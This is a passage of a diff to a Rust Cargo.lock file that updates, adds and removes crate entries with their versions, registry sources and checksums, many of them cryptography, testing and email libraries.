+checksum = "d64e8af5551369d19cf50138de61f1c42074ab970f74e99be916646777f8fc87"
+dependencies = [
+ "encode_unicode",
+ "libc",
+ "unicode-width",
+ "windows-sys 0.61.2",
+]
+
 [[package]]
 name = "const-oid"
 version = "0.9.6"
@@ -1300,12 +1651,6 @@ dependencies = [
  "tiny-keccak",
 ]
 
-[[package]]
-name = "convert_case"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e"
-
 [[package]]
 name = "convert_case"
 version = "0.10.0"
@@ -1359,15 +1704,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
 
 [[package]]
-name = "core-models"
-version = "0.0.4"
+name = "cpubits"
+version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0940496e5c83c54f3b753d5317daec82e8edac71c33aaa1f666d76f518de2444"
-dependencies = [
- "hax-lib",
- "pastey",
- "rand 0.9.2",
-]
+checksum = "15b85f9c39137c3a891689859392b1bd49812121d0d61c9caf00d46ed5ce06ae"
 
 [[package]]
 name = "cpufeatures"
@@ -1474,14 +1814,18 @@ dependencies = [
 
 [[package]]
 name = "crypto-bigint"
-version = "0.7.0-rc.18"
+version = "0.7.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "37387ceb32048ff590f2cbd24d8b05fffe63c3f69a5cfa089d4f722ca4385a19"
+checksum = "1a52aa3fcda4e6302a9f48734f234d35d4721b96f8fe07d073f07ce9df4f0271"
 dependencies = [
+ "cpubits",
  "ctutils",
+ "getrandom 0.4.2",
+ "hybrid-array",
  "num-traits",
- "rand_core 0.10.0-rc-3",
+ "rand_core 0.10.1",
  "serdect",
+ "subtle",
  "zeroize",
 ]
 
@@ -1498,22 +1842,23 @@ dependencies = [
 
 [[package]]
 name = "crypto-common"
-version = "0.2.1"
+version = "0.2.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77727bb15fa921304124b128af125e7e3b968275d1b108b379190264f4423710"
+checksum = "ce6e4c961d6cd6c9a86db418387425e8bdeaf05b3c8bc1411e6dca4c252f1453"
 dependencies = [
+ "getrandom 0.4.2",
  "hybrid-array",
+ "rand_core 0.10.1",
 ]
 
 [[package]]
 name = "crypto-primes"
-version = "0.7.0-pre.6"
+version = "0.7.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e79c98a281f9441200b24e3151407a629bfbe720399186e50516da939195e482"
+checksum = "3633a51a39c69ebbaa4feaa694bd83d241e4093901c84a0963b19d9bb3f0cf8f"
 dependencies = [
- "crypto-bigint 0.7.0-rc.18",
- "libm",
- "rand_core 0.10.0-rc-3",
+ "crypto-bigint 0.7.5",
+ "rand_core 0.10.1",
 ]
 
 [[package]]
@@ -1522,16 +1867,83 @@ version = "0.9.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"
 dependencies = [
- "cipher",
+ "cipher 0.4.4",
+]
+
+[[package]]
+name = "ctr"
+version = "0.10.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "baaca1c4b237092596f64d571e9db6ce4109c4ef9742e27590f1709594461f21"
+dependencies = [
+ "cipher 0.5.2",
 ]
 
 [[package]]
 name = "ctutils"
-version = "0.3.2"
+version = "0.4.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "758e5ed90be3c8abff7f9a6f37ab7f6d8c59c2210d448b81f3f508134aec84e4"
+checksum = "7d5515a3834141de9eafb9717ad39eea8247b5674e6066c404e8c4b365d2a29e"
 dependencies = [
  "cmov",
+ "subtle",
+]
+
+[[package]]
+name = "cucumber"
+version = "0.22.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "16cbb27bc2064274afa3a3d8bc9a0e71333589850573aa632ec4520e4af14d94"
+dependencies = [
+ "anyhow",
+ "clap",
+ "console 0.16.3",
+ "cucumber-codegen",
+ "cucumber-expressions",
+ "derive_more",
+ "either",
+ "futures",
+ "gherkin",
+ "globwalk",
+ "humantime",
+ "inventory",
+ "itertools 0.14.0",
+ "linked-hash-map",
+ "pin-project",
+ "ref-cast",
+ "regex",
+ "sealed",
+ "smart-default",
+]
+
+[[package]]
+name = "cucumber-codegen"
+version = "0.22.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5a1afaf9c422380861111c6be56f39b324e351fd9efc07a1486268798bf79cfd"
+dependencies = [
+ "cucumber-expressions",
+ "inflections",
+ "itertools 0.14.0",
+ "proc-macro2",
+ "quote",
+ "regex",
+ "syn 2.0.117",
+ "synthez",
+]
+
+[[package]]
+name = "cucumber-expressions"
+version = "0.5.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6401038de3af44fe74e6fccdb8a5b7db7ba418f480c8e9ad584c6f65c05a27a6"
+dependencies = [
+ "derive_more",
+ "either",
+ "nom 8.0.0",
+ "nom_locate",
+ "regex",
+ "regex-syntax",
 ]
 
 [[package]]
@@ -1544,7 +1956,22 @@ dependencies = [
  "cpufeatures 0.2.17",
  "curve25519-dalek-derive",
  "digest 0.10.7",
- "fiat-crypto",
+ "fiat-crypto 0.2.9",
+ "rustc_version",
+ "subtle",
+]
+
+[[package]]
+name = "curve25519-dalek"
+version = "5.0.0-rc.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4f359e08ca85e7bd759e1fd933ff2bccd81864c60a8fba0e259c7f822b0924bf"
+dependencies = [
+ "cfg-if",
+ "cpufeatures 0.3.0",
+ "curve25519-dalek-derive",
+ "digest 0.11.2",
+ "fiat-crypto 0.3.0",
  "rustc_version",
  "subtle",
  "zeroize",
@@ -1703,7 +2130,7 @@ checksum = "07da5016415d5a3c4dd39b11ed26f915f52fc4e0dc197d87908bc916e51bc1a6"
 dependencies = [
  "asn1-rs",
  "displaydoc",
- "nom",
+ "nom 7.1.3",
  "num-bigint",
  "num-traits",
  "rusticata-macros",
@@ -1791,19 +2218,6 @@ dependencies = [
  "syn 1.0.109",
 ]
 
-[[package]]
-name = "derive_more"
-version = "0.99.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6edb4b64a43d977b8e99788fe3a04d483834fba1215a7e02caa415b626497f7f"
-dependencies = [
- "convert_case 0.4.0",
- "proc-macro2",
- "quote",
- "rustc_version",
- "syn 2.0.117",
-]
-
 [[package]]
 name = "derive_more"
 version = "2.1.1"
@@ -1819,7 +2233,7 @@ version = "2.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "799a97264921d8623a957f6c3b9011f3b5492f557bbb7a5a19b7fa6d06ba8dcb"
 dependencies = [
- "convert_case 0.10.0",
+ "convert_case",
  "proc-macro2",
  "quote",
  "rustc_version",
@@ -1833,7 +2247,16 @@ version = "0.8.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ffdd80ce8ce993de27e9f063a444a4d53ce8e8db4c1f00cc03af5ad5a9867a1e"
 dependencies = [
- "cipher",
+ "cipher 0.4.4",
+]
+
+[[package]]
+name = "des"
+version = "0.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "916a94e407b54f9034d71dd748234cd1e516ced6284009906ae246f177eafe5a"
+dependencies = [
+ "cipher 0.5.2",
 ]
 
 [[package]]
@@ -1848,7 +2271,7 @@ version = "0.11.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "658bce805d770f407bc62102fca7c2c64ceef2fbcb2b8bd19d2765ce093980de"
 dependencies = [
- "console",
+ "console 0.15.11",
  "fuzzy-matcher",
  "shell-words",
  "tempfile",
@@ -1882,7 +2305,8 @@ checksum = "4850db49bf08e663084f7fb5c87d202ef91a3907271aff24a94eb97ff039153c"
 dependencies = [
  "block-buffer 0.12.0",
  "const-oid 0.10.2",
- "crypto-common 0.2.1",
+ "crypto-common 0.2.2",
+ "ctutils",
 ]
 
 [[package]]
@@ -1915,7 +2339,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6d6fdd6fa1c9e8e716f5f73406b868929f468702449621e7397066478b9bf89c"
 dependencies = [
  "derive_builder 0.13.1",
- "indexmap",
+ "indexmap 2.14.0",
  "serde",
  "serde_yaml",
 ]
@@ -1940,34 +2364,71 @@ checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca"
 dependencies = [
  "der 0.7.10",
  "digest 0.10.7",
- "elliptic-curve",
- "rfc6979",
+ "elliptic-curve 0.13.8",
+ "rfc6979 0.4.0",
  "signature 2.2.0",
  "spki 0.7.3",
 ]
 
+[[package]]
+name = "ecdsa"
+version = "0.17.0-rc.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "54fb064faabbee66e1fc8e5c5a9458d4269dc2d8b638fe86a425adb2510d1a96"
+dependencies = [
+ "der 0.8.0",
+ "digest 0.11.2",
+ "elliptic-curve 0.14.0-rc.33",
+ "rfc6979 0.5.0",
+ "signature 3.0.0",
+ "spki 0.8.0",
+ "zeroize",
+]
+
 [[package]]
 name = "ed25519"
 version = "2.2.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53"
 dependencies = [
- "pkcs8 0.10.2",
  "signature 2.2.0",
 ]
 
+[[package]]
+name = "ed25519"
+version = "3.0.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "29fcf32e6c73d1079f83ab4d782de2d81620346a5f38c6237a86a22f8368980a"
+dependencies = [
+ "pkcs8 0.11.0",
+ "signature 3.0.0",
+]
+
 [[package]]
 name = "ed25519-dalek"
 version = "2.2.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9"
 dependencies = [
- "curve25519-dalek",
- "ed25519",
- "rand_core 0.6.4",
- "serde",
+ "curve25519-dalek 4.1.3",
+ "ed25519 2.2.3",
  "sha2 0.10.9",
  "subtle",
+]
+
+[[package]]
+name = "ed25519-dalek"
+version = "3.0.0-rc.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b011170fe4f04665565b4110afef66774fe9ffff278f3eb5b81cc73d26e27d60"
+dependencies = [
+ "curve25519-dalek 5.0.0-rc.0",
+ "ed25519 3.0.0",
+ "rand_core 0.10.1",
+ "serde",
+ "sha2 0.11.0",
+ "signature 3.0.0",
+ "subtle",
  "zeroize",
 ]
 
@@ -1989,18 +2450,55 @@ dependencies = [
  "base16ct 0.2.0",
  "crypto-bigint 0.5.5",
  "digest 0.10.7",
- "ff",
+ "ff 0.13.1",
  "generic-array 0.14.7",
- "group",
- "hkdf",
- "pem-rfc7468 0.7.0",
+ "group 0.13.0",
  "pkcs8 0.10.2",
  "rand_core 0.6.4",
- "sec1",
+ "sec1 0.7.3",
+ "subtle",
+ "zeroize",
+]
+
+[[package]]
+name = "elliptic-curve"
+version = "0.14.0-rc.33"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "102d3643d30dd8b559613c5cced68317199597fffb278cdc88daa2ef7fafc935"
+dependencies = [
+ "base16ct 1.0.0",
+ "crypto-bigint 0.7.5",
+ "crypto-common 0.2.2",
+ "digest 0.11.2",
+ "ff 0.14.0",
+ "group 0.14.0",
+ "hkdf 0.13.0",
+ "hybrid-array",
+ "once_cell",
+ "pem-rfc7468 1.0.0",
+ "pkcs8 0.11.0",
+ "rand_core 0.10.1",
+ "sec1 0.8.1",
  "subtle",
  "zeroize",
 ]
 
+[[package]]
+name = "email-encoding"
+version = "0.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9298e6504d9b9e780ed3f7dfd43a61be8cd0e09eb07f7706a945b0072b6670b6"
+dependencies = [
+ "base64 0.22.1",
+ "memchr",
+]
+
+[[package]]
+name = "email_address"
+version = "0.2.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e079f19b08ca6239f47f8ba8509c11cf3ea30095831f7fed61441475edd8c449"
+
 [[package]]
 name = "encode_unicode"
 version = "1.0.0"
@@ -2134,12 +2632,28 @@ dependencies = [
  "subtle",
 ]
 
+[[package]]
+name = "ff"
+version = "0.14.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a1f686ab92a9fb0eaf188f6c6c87b89490baa6fdb0db4544ba4dc47f7942489f"
+dependencies = [
+ "rand_core 0.10.1",
+ "subtle",
+]
+
 [[package]]
 name = "fiat-crypto"
 version = "0.2.9"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d"
 
+[[package]]
+name = "fiat-crypto"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "64cd1e32ddd350061ae6edb1b082d7c54915b5c672c389143b9a63403a109f24"
+
 [[package]]
 name = "filetime"
 version = "0.2.27"
@@ -2433,10 +2947,8 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0"
 dependencies = [
  "cfg-if",
- "js-sys",
  "libc",
  "wasi 0.11.1+wasi-snapshot-preview1",
- "wasm-bindgen",
 ]
 
 [[package]]
@@ -2460,10 +2972,13 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0de51e6874e94e7bf76d726fc5d13ba782deca734ff60d5bb2fb2607c7406555"
 dependencies = [
  "cfg-if",
+ "js-sys",
  "libc",
  "r-efi 6.0.0",
+ "rand_core 0.10.1",
  "wasip2",
  "wasip3",
+ "wasm-bindgen",
 ]
 
 [[package]]
@@ -2473,7 +2988,33 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f0d8a4362ccb29cb0b265253fb0a2728f592895ee6854fd9bc13f2ffda266ff1"
 dependencies = [
  "opaque-debug",
- "polyval",
+ "polyval 0.6.2",
+]
+
+[[package]]
+name = "ghash"
+version = "0.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2eecf2d5dc9b66b732b97707a0210906b1d30523eb773193ab777c0c84b3e8d5"
+dependencies = [
+ "polyval 0.7.1",
+]
+
+[[package]]
+name = "gherkin"
+version = "0.15.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "70197ce7751bfe8bc828e3a855502d3a869a1e9416b58b10c4bde5cf8a0a3cb3"
+dependencies = [
+ "heck",
+ "peg",
+ "quote",
+ "serde",
+ "serde_json",
+ "syn 2.0.117",
+ "textwrap",
+ "thiserror 2.0.18",
+ "typed-builder",
 ]
 
 [[package]]
@@ -2506,17 +3047,40 @@ dependencies = [
  "walkdir",
 ]
 
+[[package]]
+name = "gloo-timers"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bbb143cf96099802033e0d4f4963b19fd2e0b728bcf076cd9cf7f6634f092994"
+dependencies = [
+ "futures-channel",
+ "futures-core",
+ "js-sys",
+ "wasm-bindgen",
+]
+
 [[package]]
 name = "group"
 version = "0.13.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f0f9ef7462f7c099f518d754361858f86d8a07af53ba9af0fe635bbccb151a63"
 dependencies = [
- "ff",
+ "ff 0.13.1",
  "rand_core 0.6.4",
  "subtle",
 ]
 
+[[package]]
+name = "group"
+version = "0.14.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7fd1a1c7a5206c5b7a3f5a0d7ccd3ff85d0c8f5133d62a02680255b0004af5f4"
+dependencies = [
+ "ff 0.14.0",
+ "rand_core 0.10.1",
+ "subtle",
+]
+
 [[package]]
 name = "h2"
 version = "0.3.27"
@@ -2529,7 +3093,7 @@ dependencies = [
  "futures-sink",
  "futures-util",
  "http 0.2.12",
- "indexmap",
+ "indexmap 2.14.0",
  "slab",
  "tokio",
  "tokio-util",
@@ -2548,7 +3112,7 @@ dependencies = [
  "futures-core",
  "futures-sink",
  "http 1.4.0",
- "indexmap",
+ "indexmap 2.14.0",
  "slab",
  "tokio",
  "tokio-util",
@@ -2586,9 +3150,9 @@ dependencies = [
 
 [[package]]
 name = "hashbrown"
-version = "0.16.1"
+version = "0.17.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100"
+checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a"
 
 [[package]]
 name = "hashlink"
@@ -2608,43 +3172,6 @@ dependencies = [
  "hashbrown 0.15.5",
 ]
 
-[[package]]
-name = "hax-lib"
-version = "0.3.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "74d9ba66d1739c68e0219b2b2238b5c4145f491ebf181b9c6ab561a19352ae86"
-dependencies = [
- "hax-lib-macros",
- "num-bigint",
- "num-traits",
-]
-
-[[package]]
-name = "hax-lib-macros"
-version = "0.3.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24ba777a231a58d1bce1d68313fa6b6afcc7966adef23d60f45b8a2b9b688bf1"
-dependencies = [
- "hax-lib-macros-types",
- "proc-macro-error2",
- "proc-macro2",
- "quote",
- "syn 2.0.117",
-]
-
-[[package]]
-name = "hax-lib-macros-types"
-version = "0.3.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "867e19177d7425140b417cd27c2e05320e727ee682e98368f88b7194e80ad515"
-dependencies = [
- "proc-macro2",
- "quote",
- "serde",
- "serde_json",
- "uuid",
-]
-
 [[package]]
 name = "heck"
 version = "0.5.0"
@@ -2671,9 +3198,9 @@ checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
 
 [[package]]
 name = "hex-literal"
-version = "0.4.1"
+version = "1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6fe2267d4ed49bc07b63801559be28c718ea06c4738b7a03c94df7386d2cde46"
+checksum = "e712f64ec3850b98572bffac52e2c6f282b29fe6c5fa6d42334b30be438d95c1"
 
 [[package]]
 name = "hkdf"
@@ -2681,7 +3208,16 @@ version = "0.12.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7"
 dependencies = [
- "hmac",
+ "hmac 0.12.1",
+]
+
+[[package]]
+name = "hkdf"
+version = "0.13.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4aaa26c720c68b866f2c96ef5c1264b3e6f473fe5d4ce61cd44bbe913e553018"
+dependencies = [
+ "hmac 0.13.0",
 ]
 
 [[package]]
@@ -2694,10 +3230,19 @@ dependencies = [
 ]
 
 [[package]]
-name = "home"
-version = "0.5.12"
+name = "hmac"
+version = "0.13.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc627f471c528ff0c4a49e1d5e60450c8f6461dd6d10ba9dcd3a61d3dff7728d"
+checksum = "6303bc9732ae41b04cb554b844a762b4115a61bfaa81e3e83050991eeb56863f"
+dependencies = [
+ "digest 0.11.2",
+]
+
+[[package]]
+name = "home"
+version = "0.5.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cc627f471c528ff0c4a49e1d5e60450c8f6461dd6d10ba9dcd3a61d3dff7728d"
 dependencies = [
  "windows-sys 0.61.2",
 ]
@@ -2757,6 +3302,12 @@ dependencies = [
  "pin-project-lite",
 ]
 
+[[package]]
+name = "http-range"
+version = "0.1.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "21dec9db110f5f872ed9699c3ecf50cf16f423502706ba5c72462e28d3157573"
+
 [[package]]
 name = "http-types"
 version = "2.12.0"
@@ -2799,13 +3350,22 @@ dependencies = [
  "libm",
 ]
 
+[[package]]
+name = "humantime"
+version = "2.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "135b12329e5e3ce057a9f972339ea52bc954fe1e9358ef27f95e89716fbc5424"
+
 [[package]]
 name = "hybrid-array"
-version = "0.4.10"
+version = "0.4.13"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3944cf8cf766b40e2a1a333ee5e9b563f854d5fa49d6a8ca2764e97c6eddb214"
+checksum = "818356c5132c1fede50f837ca96afbe78ff42413047f4abb886217845e1b6c8c"
 dependencies = [
+ "ctutils",
+ "subtle",
  "typenum",
+ "zeroize",
 ]
 
 [[package]]
@@ -2853,6 +3413,18 @@ dependencies = [
  "tokio",
 ]
 
+[[package]]
+name = "hyper-timeout"
+version = "0.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bbb958482e8c7be4bc3cf272a766a2b0bf1a6755e7a6ae777f017a31d11b13b1"
+dependencies = [
+ "hyper 0.14.32",
+ "pin-project-lite",
+ "tokio",
+ "tokio-io-timeout",
+]
+
 [[package]]
 name = "hyper-tls"
 version = "0.5.0"
@@ -3035,6 +3607,15 @@ dependencies = [
  "winapi-util",
 ]
 
+[[package]]
+name = "imap-proto"
+version = "0.16.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "25f6af35c6a517aea5c72314abe90134980d2ae6a763809b50c208b3e429d71f"
+dependencies = [
+ "nom 7.1.3",
+]
+
 [[package]]
 name = "impl-more"
 version = "0.1.9"
@@ -3043,12 +3624,22 @@ checksum = "e8a5a9a0ff0086c7a148acb942baaabeadf9504d10400b5a05645853729b9cd2"
 
 [[package]]
 name = "indexmap"
-version = "2.13.1"
+version = "1.9.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "45a8a2b9cb3e0b0c1803dbb0758ffac5de2f425b23c28f518faabd9d805342ff"
+checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99"
+dependencies = [
+ "autocfg",
+ "hashbrown 0.12.3",
+]
+
+[[package]]
+name = "indexmap"
+version = "2.14.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9"
 dependencies = [
  "equivalent",
- "hashbrown 0.16.1",
+ "hashbrown 0.17.1",
  "serde",
  "serde_core",
 ]
@@ -3059,7 +3650,7 @@ version = "0.17.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "183b3088984b400f4cfac3620d5e076c84da5364016b4f49473de574b2586235"
 dependencies = [
- "console",
+ "console 0.15.11",
  "number_prefix",
  "portable-atomic",
  "unicode-width",
@@ -3072,16 +3663,32 @@ version = "0.2.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "64e9829a50b42bb782c1df523f78d332fe371b10c661e78b7a3c34b0198e9fac"
 
+[[package]]
+name = "inflections"
+version = "1.1.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a257582fdcde896fd96463bf2d40eefea0580021c0712a0e2b028b60b47a837a"
+
 [[package]]
 name = "inout"
 version = "0.1.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
 dependencies = [
- "block-padding",
+ "block-padding 0.3.3",
  "generic-array 0.14.7",
 ]
 
+[[package]]
+name = "inout"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4250ce6452e92010fdf7268ccc5d14faa80bb12fc741938534c58f16804e03c7"
+dependencies = [
+ "block-padding 0.4.2",
+ "hybrid-array",
+]
+
 [[package]]
 name = "instant"
 version = "0.1.13"
@@ -3092,34 +3699,24 @@ dependencies = [
 ]
 
 [[package]]
-name = "internal-russh-forked-ssh-key"
-version = "0.6.16+upstream-0.6.7"
+name = "internal-russh-num-bigint"
+version = "0.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fe44f2bbd99fcb302e246e2d6bcf51aeda346d02a365f80296a07a8c711b6da6"
+checksum = "ae8e22120c32fb4d19ec55fba35015f57095cd95a2e3b732e44457f5915b2ee8"
 dependencies = [
- "argon2",
- "bcrypt-pbkdf",
- "digest 0.11.2",
- "ecdsa",
- "ed25519-dalek",
- "hex",
- "hmac",
- "num-bigint-dig",
- "p256",
- "p384",
- "p521",
- "rand_core 0.6.4",
- "rsa 0.10.0-rc.12",
- "sec1",
- "sha1 0.10.6",
- "sha1 0.11.0",
- "sha2 0.10.9",
- "signature 2.2.0",
- "signature 3.0.0-rc.6",
- "ssh-cipher",
- "ssh-encoding",
- "subtle",
- "zeroize",
+ "num-integer",
+ "num-traits",
+ "rand 0.10.1",
+ "rand_core 0.10.1",
+]
+
+[[package]]
+name = "inventory"
+version = "0.3.24"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a4f0c30c76f2f4ccee3fe55a2435f691ca00c0e4bd87abe4f4a851b1d4dac39b"
+dependencies = [
+ "rustversion",
 ]
 
 [[package]]
@@ -3183,6 +3780,15 @@ dependencies = [
  "either",
 ]
 
+[[package]]
+name = "itertools"
+version = "0.14.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2b192c782037fadd9cfa75548310488aabdbf3d2da73885b31bd0abd03351285"
+dependencies = [
+ "either",
+]
+
 [[package]]
 name = "itoa"
 version = "1.0.18"
@@ -3222,6 +3828,35 @@ dependencies = [
  "serde",
 ]
 
+[[package]]
+name = "keccak"
+version = "0.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9e24a010dd405bd7ed803e5253182815b41bf2e6a80cc3bfc066658e03a198aa"
+dependencies = [
+ "cfg-if",
+ "cpufeatures 0.3.0",
+]
+
+[[package]]
+name = "kem"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "01737161ba802849cfd486b5bd209d38ba4943494c249a8126005170c7621edd"
+dependencies = [
+ "crypto-common 0.2.2",
+ "rand_core 0.10.1",
+]
+
+[[package]]
+name = "kv-log-macro"
+version = "1.0.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0de8b303297635ad57c9f5059fd9cee7a47f8e8daa09df0fcd07dd39fb22977f"
+dependencies = [
+ "log",
+]
+
 [[package]]
 name = "language-tags"
 version = "0.3.2"
@@ -3267,76 +3902,37 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "09edd9e8b54e49e587e4f6295a7d29c3ea94d469cb40ab8ca70b288248a81db2"
 
 [[package]]
-name = "libc"
-version = "0.2.184"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "48f5d2a454e16a5ea0f4ced81bd44e4cfc7bd3a507b61887c99fd3538b28e4af"
-
-[[package]]
-name = "libcrux-intrinsics"
-version = "0.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bc9ee7ef66569dd7516454fe26de4e401c0c62073929803486b96744594b9632"
-dependencies = [
- "core-models",
- "hax-lib",
-]
-
-[[package]]
-name = "libcrux-ml-kem"
-version = "0.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4bb6a88086bf11bd2ec90926c749c4a427f2e59841437dbdede8cde8a96334ab"
-dependencies = [
- "hax-lib",
- "libcrux-intrinsics",
- "libcrux-platform",
- "libcrux-secrets",
- "libcrux-sha3",
- "libcrux-traits",
- "rand 0.9.2",
- "tls_codec",
-]
-
-[[package]]
-name = "libcrux-platform"
-version = "0.0.2"
+name = "lettre"
+version = "0.11.22"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "db82d058aa76ea315a3b2092f69dfbd67ddb0e462038a206e1dcd73f058c0778"
+checksum = "0da65617f6cb926332d039cb578aad56178da86e128db6a1b09f4c94fa5b3349"
 dependencies = [
- "libc",
-]
-
-[[package]]
-name = "libcrux-secrets"
-version = "0.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e4dbbf6bc9f2bc0f20dc3bea3e5c99adff3bdccf6d2a40488963da69e2ec307"
-dependencies = [
- "hax-lib",
-]
-
-[[package]]
-name = "libcrux-sha3"
-version = "0.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2400bec764d1c75b8a496d5747cffe32f1fb864a12577f0aca2f55a92021c962"
-dependencies = [
- "hax-lib",
- "libcrux-intrinsics",
- "libcrux-platform",
- "libcrux-traits",
+ "async-trait",
+ "base64 0.22.1",
+ "email-encoding",
+ "email_address",
+ "fastrand 2.4.1",
+ "futures-io",
+ "futures-util",
+ "httpdate",
+ "idna",
+ "mime",
+ "nom 8.0.0",
+ "percent-encoding",
+ "quoted_printable",
+ "rustls 0.23.37",
+ "socket2 0.6.3",
+ "tokio",
+ "tokio-rustls 0.26.4",
+ "url",
+ "webpki-roots 1.0.6",
 ]
 
 [[package]]
-name = "libcrux-traits"
-version = "0.0.4"
+name = "libc"
+version = "0.2.186"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9adfd58e79d860f6b9e40e35127bfae9e5bd3ade33201d1347459011a2add034"
-dependencies = [
- "libcrux-secrets",
- "rand 0.9.2",
-]
+checksum = "68ab91017fe16c622486840e4c83c9a37afeff978bd239b5293d61ece587de66"
 
 [[package]]
 name = "libm"
@@ -3378,6 +3974,12 @@ version = "0.3.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519"
 
+[[package]]
+name = "linux-raw-sys"
+version = "0.4.15"
